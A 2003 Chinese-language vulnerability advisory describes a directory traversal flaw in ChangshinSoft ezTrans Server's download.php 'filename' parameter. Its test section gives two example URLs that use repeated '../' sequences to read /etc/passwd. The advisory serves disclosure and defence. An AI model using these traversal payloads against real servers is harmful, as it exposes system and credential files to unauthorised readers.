发布日期：2003-07-09
更新日期：2003-07-15

受影响系统：

ChangshinSoft ezTrans Server

描述：

---

BUGTRAQ  ID: 8155

ChangshinSoft EZTrans Server是一款在线日韩互译系统。

ChangshinSoft EZTrans包含的下载模块对用户输入缺少充分过滤，远程攻击者可以利用这个漏洞以WEB权限在系统上查看任意文件内容。

EZTrans包含的download.php脚本对用户提交给"filename"参数的数据缺少充分过滤，远程攻击者提交提交包含多个"../"字符的恶意数据给此变量，可能以WEB进程权限在系统上查看任意文件内容。

<*来源：SSR Team （advisory@stgsecurity.com）
  
  链接：http://www.securiteam.com/unixfocus/5ZP092AAKI.html
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

SSR Team （advisory@stgsecurity.com）提供了如下测试方法：

http://www.example.com/question/crm/download.php?filename=../../../../../../../../../../../../etc/passwd

http://www.example.com/download.php?filename=../../../../../../../../../../../../../etc/passwd

建议：

---

厂商补丁：

ChangshinSoft
-------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.cssoft.co.kr/kr/

浏览次数：2729
严重程度：0（网友投票）